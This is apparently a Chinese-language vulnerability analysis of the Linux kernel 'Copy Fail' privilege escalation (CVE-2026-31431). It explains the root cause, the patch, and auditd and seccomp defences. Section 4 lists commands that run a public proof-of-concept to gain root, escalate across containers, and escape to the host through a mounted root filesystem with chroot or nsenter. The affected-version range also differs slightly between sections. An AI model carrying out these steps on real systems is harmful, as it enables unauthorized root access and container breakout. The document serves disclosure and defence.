漏洞编号: CVE-2026-31431 别名: Copy Fail CVSS: 7.8 (High) 类型: Local Privilege Escalation (LPE) 影响范围: 所有主流 Linux 发行版(内核版本 ~2017-2026) 披露日期: 2026-04-29 发现者: Xint Code (Theori) 官方披露站: https://copy.fail/
目录
一、漏洞概述
Copy Fail 是存在于 Linux 内核加密子系统 algif_aead 模块中的一个逻辑缺陷。该漏洞位于三个子系统的交汇处:
-
AF_ALG — Linux 内核的用户态加密 socket 接口
-
splice()— 零拷贝数据传输系统调用 -
authencesn— 内核中的 AEAD(Authenticated Encryption with Associated Data)加密模板,带序列号支持
漏洞的核心问题:authencesn 模板中的 scratch-write 逻辑缺陷,当通过 AF_ALG socket 和 splice() 系统调用链式触发时,允许非特权本地用户向内核 page cache(页缓存) 写入 4 字节受控数据。
利用这一能力,攻击者可以篡改内存中的 SUID 二进制文件(如 /usr/bin/su)的 page cache 副本,从而在执行该 SUID 程序时获得 root 权限。值得注意的是:
-
磁盘上的文件不受影响,仅内存中的 page cache 副本被篡改
-
无需竞态条件(race condition),利用过程完全确定性
-
PoC 仅 732 字节,约 10 行 Python 代码即可获取 root
受影响版本: Linux 内核 4.14 ~ 6.19.11
不受影响版本(已修复):
| 内核分支 | 修复版本 |
|---|---|
| 5.10 | 5.10.254 |
| 5.15 | 5.15.204 |
| 6.1 | 6.1.170 |
| 6.6 | 6.6.137 |
| 6.12 | 6.12.85 |
| 6.18 | 6.18.22 |
| 6.19 | 6.19.12 |
| 7.0+ | 7.0 及以上 |
二、前置知识
2.1 AF_ALG — 内核加密用户态接口
Linux 内核通过 AF_ALG 地址族将内核加密框架暴露给用户态。用户态程序可以:
-
创建
AF_ALG类型的 socket:socket(AF_ALG, SOCK_SEQPACKET, 0) -
通过
bind()绑定到特定加密算法(如authencesn) -
通过
accept()创建实际的加密会话 -
使用
sendmsg()/recvmsg()或splice()进行数据传输和加密/解密操作
// 典型的 AF_ALG 使用模式
int alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead", // AEAD 类型
.salg_name = "authencesn(...)" // 使用 authencesn 模板
};
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
int op_sock = accept(alg_sock, NULL, 0);
// 之后通过 op_sock 进行加密/解密操作
2.2 splice() 系统调用
splice() 是 Linux 提供的零拷贝数据传输机制,可以在内核空间直接在两个文件描述符之间移动数据,无需将数据拷贝到用户态:
long splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
关键特性:splice() 操作的页面直接来自 page cache,数据在内核中完成传输。
2.3 Page Cache(页缓存)
Linux 内核将磁盘文件的内容缓存在内存中,称为 page cache。当程序读取文件时:
-
内核首先检查 page cache 中是否已有该文件的页面
-
如有,直接返回(避免磁盘 I/O)
-
如无,从磁盘读取并缓存
关键安全属性: 对于同一个文件,内核通常维护单一 page cache 实例。所有进程共享同一份 page cache 数据。这意味着如果一个进程修改了 page cache 中的页面内容,所有其他进程看到的都是被修改后的数据。
2.4 AEAD 与 in-place 操作
AEAD(Authenticated Encryption with Associated Data)同时提供加密和认证。
-
Out-of-place 操作: 加密/解密时,输入和输出使用不同的缓冲区,互不影响
-
In-place 操作: 加密/解密直接在输入缓冲区上进行,输出覆盖输入(性能优化)
2017 年的 commit 72548b093ee3 将 algif_aead 的 AEAD 操作从 out-of-place 切换为 in-place,正是这一”优化”引入了漏洞。
2.5 SUID 机制
Linux 中,设置了 SUID 位的可执行文件在执行时会以文件所有者的权限运行。例如 /usr/bin/su 的所有者是 root,设置了 SUID 位,因此任何用户执行 su 时,进程都以 root 权限运行。
三、漏洞根因深度分析
3.1 三个子系统的交汇
漏洞发生在 AF_ALG、splice() 和 authencesn 三个子系统的交互处:
用户态攻击者 │ ├── 1. 创建 AF_ALG socket,选择 authencesn 算法 │ ├── 2. 构造管道(pipe),写入恶意数据 │ ├── 3. splice(pipe_fd, ..., alg_sock, ..., len, 0) │ │ │ │ splice 将 pipe 中的页面直接传递给 AF_ALG │ │ (零拷贝,页面仍然是 page cache 中的原始页面) │ ▼ │ algif_aead 收到数据,触发 AEAD 操作 │ │ │ │ authencesn 模板执行 AEAD 处理 │ │ 由于 in-place 优化,结果直接写回输入页面 │ ▼ │ 但此时输入页面是 pipe 的页面?不—— │ splice 的 zero-copy 语义意味着同一个物理页面 │ 可能被映射到 page cache 中的其他文件! │ │ │ ▼ └── 4. 受控的 4 字节被写入目标文件的 page cache 页面 │ ▼ 目标:/usr/bin/su 的 page cache 副本被篡改 下次执行 su 时,内核使用被篡改的 page cache → root shell
3.2 根因:In-place AEAD + splice 零拷贝的组合效应
当 splice() 将数据传递给 AF_ALG socket 时:
-
splice() 不拷贝数据,而是传递 page cache 页面的引用
-
algif_aead 在 in-place 模式下,AEAD 操作的输出直接覆盖输入缓冲区
-
authencesn 模板在处理过程中有一个 scratch buffer 的写入逻辑,在特定条件下(构造的输入),这个写入会直接作用于传入的 page cache 页面
问题在于:splice() 传递的页面可能属于任何文件在 page cache 中的映射。通过精心构造操作序列,攻击者可以使 authencesn 的 scratch-write 操作作用于目标文件(如 /usr/bin/su)在 page cache 中的物理页面。
3.3 攻击能力
通过此漏洞,攻击者获得:
-
4 字节任意写入到 page cache 中的页面
-
写入内容受攻击者控制
-
写入位置在页面内的偏移受攻击者控制
-
完全确定性,无竞态条件
四、漏洞复现
4.1 环境检查
使用虚拟机,切勿在生产环境测试。以下以 Kali Linux 为例:
# 确认内核版本(需为未修补版本,约 4.10 ~ 6.19 早期)
uname -r
# 6.19.11+kali-amd64
4.2 创建测试用户
# 以 root 创建普通用户
sudo useradd -m -s /bin/bash testuser
sudo passwd testuser
# 切换到测试用户
su - testuser
4.3 运行 Exp
# 克隆 PoC
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git
cd copy-fail-CVE-2026-31431
# 以普通用户执行
python3 copy_fail_exp.py
# 提权成功:
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
PoC 执行流程:打开 /usr/bin/su → 循环调用 c(f, offset, 4字节payload) 向 su 的 page cache 写入 shellcode → 执行被篡改的 su → root shell。整个过程无需竞态,完全确定性。
4.4 容器逃逸验证
page cache 按 inode 索引。容器内的 /usr/bin/su 来自 OverlayFS 镜像层,与宿主机的 /usr/bin/su 是不同的 inode、不同的 page cache 条目。因此:
-
同镜像容器之间可以互相提权(共享 OverlayFS lower layer,同一 inode)
-
容器直接逃逸到宿主机不行,除非挂载了宿主机文件系统
同镜像容器交叉提权
两个使用相同 base image 的容器,OverlayFS lower layer 中的文件是同一个 inode,共享 page cache:
# 终端 1:启动容器 A
docker run -it --name containerA ubuntu:22.04 bash
# 容器 A 内:
apt update && apt install -y python3 git
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git
cd copy-fail-CVE-2026-31431
python3 copy_fail_exp.py
# → 篡改 overlay lower layer 中 su 的 page cache
# → 容器 A 内获得 root
# 终端 2:启动容器 B(相同 image)
docker run -it --name containerB ubuntu:22.04 bash
# 容器 B 内执行 su
su
# → 加载的是同一条被篡改的 page cache → 同样获得 root
┌──────────────────────────────────────────────┐ │ 宿主机 │ │ │ │ OverlayFS Lower Layer (ubuntu:22.04 image) │ │ /usr/bin/su 的 page cache [被篡改] │ │ ▲ ▲ │ │ │ │ │ │ ┌──────┴───────┐ ┌─────┴───────┐ │ │ │ 容器 A │ │ 容器 B │ │ │ │ exp → root │ │ su → root │ │ │ └──────────────┘ └─────────────┘ │ │ │ │ 宿主机 /usr/bin/su — 不同 inode,不受影响 │ └──────────────────────────────────────────────┘
挂载宿主机文件系统实现逃逸
通过 -v /:/host 挂载宿主机根目录后,/host/usr/bin/su 与宿主机的 /usr/bin/su 是同一个 inode,共享 page cache。PoC 只需改两处路径:
# 原始
f=g.open("/usr/bin/su",0)
# ...
g.system("su")
# 改为
f=g.open("/host/usr/bin/su",0)
# ...
g.system("/host/usr/bin/su")
验证步骤:
# 宿主机:启动容器,挂载根文件系统
docker run -it -v /:/host ubuntu:22.04 bash
# 容器内
apt update && apt install -y python3 git
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.git
cd copy-fail-CVE-2026-31431
# 改路径(两处:open 和 system)
sed -i 's|/usr/bin/su|/host/usr/bin/su|g' copy_fail_exp.py
sed -i 's|g.system("su")|g.system("/host/usr/bin/su")|' copy_fail_exp.py
# 执行 → 拿到容器内 UID 0 shell
python3 copy_fail_exp.py
# 此时你在容器 namespace 内,UID=0,可以读写 /host 上的宿主机文件
# 但 hostname、PID、网络仍然是容器的
# 切换到宿主机 namespace(利用已拿到的 root + 挂载的宿主机 FS)
chroot /host /bin/bash
# 现在是真正的宿主机 shell
# 验证
cat /etc/hostname # 宿主机的主机名
为什么需要
chroot: 执行/host/usr/bin/su拿到的 shell 虽然 UID=0,但仍在容器的 namespace 里(PID、mount、network 隔离)。通过chroot /host切换根文件系统到宿主机,才是真正的宿主机环境。也可以用nsenter -t 1 -m -u -i -n -p -- /bin/bash直接进入宿主机 PID 1 的 namespace。
总结:
| 场景 | 是否可行 | 原因 |
|---|---|---|
| 容器内普通提权 | 可以 | 篡改容器内 su 的 page cache |
| 同镜像容器交叉提权 | 可以 | OverlayFS lower layer 共享 inode |
| 容器 → 宿主机逃逸 | 不可以 | inode 不同,page cache 隔离 |
| 容器 → 宿主机(挂载宿主机 FS) | 可以 | 通过挂载点访问宿主机 inode |
五、内核源码级分析
5.1 漏洞引入:commit 72548b093ee3
2017 年的 commit 72548b093ee3 对 crypto/algif_aead.c 进行了修改,将 AEAD 操作从 out-of-place 切换为 in-place:
// crypto/algif_aead.c — 修改前(out-of-place,安全)
// 加密/解密时使用独立的输出缓冲区
// 输入 page cache 页面不被修改
// crypto/algif_aead.c — 修改后(in-place,引入漏洞)
// AEAD 操作直接在输入缓冲区上进行
// 当输入来自 splice() 的 page cache 页面时,
// AEAD 的中间结果(scratch write)会修改原始 page cache 页面
5.2 algif_aead.c 中的关键数据流
用户态 splice()
│
▼
splice_to_socket()
│
├── 从 pipe 中获取 page cache 页面(零拷贝)
│
▼
algif_aead_sendmsg() [crypto/algif_aead.c]
│
├── 将 page cache 页面作为 AEAD 输入
│
▼
crypto_aead_decrypt() / crypto_aead_encrypt()
│
├── 进入 authencesn 模板的处理流程
│
▼
authencesn 处理流程 [crypto/authencesn.c]
│
├── 在 in-place 模式下,scratch buffer 操作
│ 直接作用于输入页面
│
├── 此时输入页面是 splice() 传递的
│ page cache 页面(可能属于 /usr/bin/su)
│
▼
→ 4 字节受控数据被写入 /usr/bin/su 的 page cache 页面
5.3 authencesn scratch-write 机制
authencesn 是一个组合加密模板,通常形式为 authencesn(authenc(hmac(sha256), cbc(aes)))。其处理流程:
-
认证阶段: HMAC 计算认证标签
-
加密/解密阶段: CBC 模式 AES 加密/解密
-
Scratch buffer: 在处理过程中,需要一个临时缓冲区来保存中间结果
在 in-place 模式下,这个 scratch buffer 的写入目标不是独立的内核缓冲区,而是直接在输入页面上进行。当输入页面来自 splice() 传递的 page cache 页面时,这个写入就直接修改了 page cache。
5.4 splice() 的零拷贝语义与 page cache 关联
// splice() 将 pipe 中的页面直接传递给目标 fd
// 对于 AF_ALG socket,splice 的实现路径为:
// splice() → do_splice() → splice_pipe_to_pipe() / splice_to_socket()
//
// pipe 中的页面可能来自:
// 1. 用户态 write() 写入的页面(pipe buffer)
// 2. 其他文件的 page cache 页面(通过 splice 从文件到 pipe)
//
// 关键:当 splice 将页面从 pipe 传给 AF_ALG 时,
// algif_aead 并不知道这些页面可能同时被映射到其他文件的 page cache
5.5 漏洞利用的内存布局
物理内存 ┌──────────────────────────────────────────────────────┐ │ │ │ Page Cache │ │ ┌──────────────────────────────────────────┐ │ │ │ /usr/bin/su 的页面 │ │ │ │ ┌──────┬──────┬──────┬──────┬─────┐ │ │ │ │ │ ELF │ .text│ ... │目标偏移│ ... │ │ │ │ │ │Header│ 段 │ │ 位置 │ │ │ │ │ │ └──────┴──────┴──────┴──────┴─────┘ │ │ │ │ ▲ │ │ │ │ │ │ │ │ │ authencesn scratch-write │ │ │ │ 写入 4 字节到此处 │ │ │ │ │ │ │ │ └────────────────────────│─────────────────┘ │ │ │ │ │ Pipe Buffer │ │ │ ┌───────────────────────│─────────────────┐ │ │ │ 攻击者构造的 AEAD 数据 → splice() ──────┘ │ │ └─────────────────────────────────────────┘ │ │ │ └──────────────────────────────────────────────────────┘ 执行 su 时: 内核查找 /usr/bin/su 的 page cache → 找到被篡改的页面 → 加载并执行被修改的代码 → root shell
5.6 为什么只有 4 字节可控
authencesn 的 scratch-write 操作在 AEAD 处理过程中只会向特定位置写入有限的字节数。通过精确控制:
-
AEAD 输入的长度和对齐
-
加密算法的参数(密钥、IV)
-
认证标签的位置
攻击者可以精确控制这 4 字节的内容和在页面内的偏移。4 字节虽然不多,但足以:
-
在 x86-64 上写入一条
jmp或call指令(5 字节以内的短跳转,结合对齐可以做到 4 字节) -
修改函数指针
-
修改 GOT 表项(如果二进制不是完全 RELRO)
六、补丁分析
6.1 修复方案
修复方案是回退 in-place AEAD 操作,恢复到安全的 out-of-place 模式:
-
上游修复 commit: 在
git.kernel.org的torvalds/linux仓库中 -
相关 stable kernel commit:
a664bf3d603d/fafe0fa2995a
核心变更:
// crypto/algif_aead.c — 补丁后
// 确保始终使用 out-of-place 操作
// 即使 splice() 传入的是 page cache 页面,
// AEAD 操作在一个独立的临时缓冲区中进行,
// 结果再拷贝回目标位置,而不是直接在输入页面上操作
6.2 补丁验证
# 检查内核是否已修补
uname -r
# 确认版本包含修补 commit
# 或直接检查内核源码
grep -r "in-place\|inplace\|out-of-place" crypto/algif_aead.c
# 修补后的内核应使用 out-of-place 模式
七、检测与防御
7.1 临时缓解措施
如果无法立即升级内核,可以禁用 algif_aead 模块:
# 方法 1: 禁用模块加载
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null
# 方法 2: 通过 sysctl(如果内核支持)
# 注意:此选项可能不是所有内核版本都有
echo 0 | sudo tee /proc/sys/kernel/crypto_af_alg 2>/dev/null
7.2 检测利用行为
可以利用以下方式检测 Copy Fail 的利用尝试:
# 1. 监控 AF_ALG socket 创建(auditd 规则)
auditctl -a exit,always -F arch=b64 -S socket -F a0=38 -F a1=5 -k af_alg_socket
# AF_ALG = 38, SOCK_SEQPACKET = 5
# 2. 监控 algif_aead 模块加载
auditctl -a exit,always -F arch=b64 -S finit_module -S init_module -k kernel_module_load
# 3. 使用 eBPF 跟踪 splice + AF_ALG 的组合调用
# 参考 Elastic Security 的检测规则:
# https://www.elastic.co/guide/en/security/8.19/potential-copy-fail-cve-2026-31431-exploitation-via-af-alg-socket.html
7.3 容器环境防护
# 1. 限制容器的 AF_ALG 访问(seccomp profile)
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [
{
"index": 0,
"op": "SCMP_CMP_EQ",
"value": 38
}
]
}
]
}
# 2. 避免使用 --privileged 运行容器
# 3. 使用只读文件系统或 immutable 属性保护关键 SUID 二进制
sudo chattr +i /usr/bin/su /usr/bin/sudo
7.4 长期建议
-
及时更新内核 — 订阅发行版的安全公告,尽快应用安全补丁
-
最小权限原则 — 限制不必要的本地用户访问
-
考虑禁用 AF_ALG — 如果业务不依赖内核加密用户态接口,建议禁用。社区对此接口的攻击面有持续争议
-
容器加固 — 使用非特权容器、seccomp profile、只读根文件系统











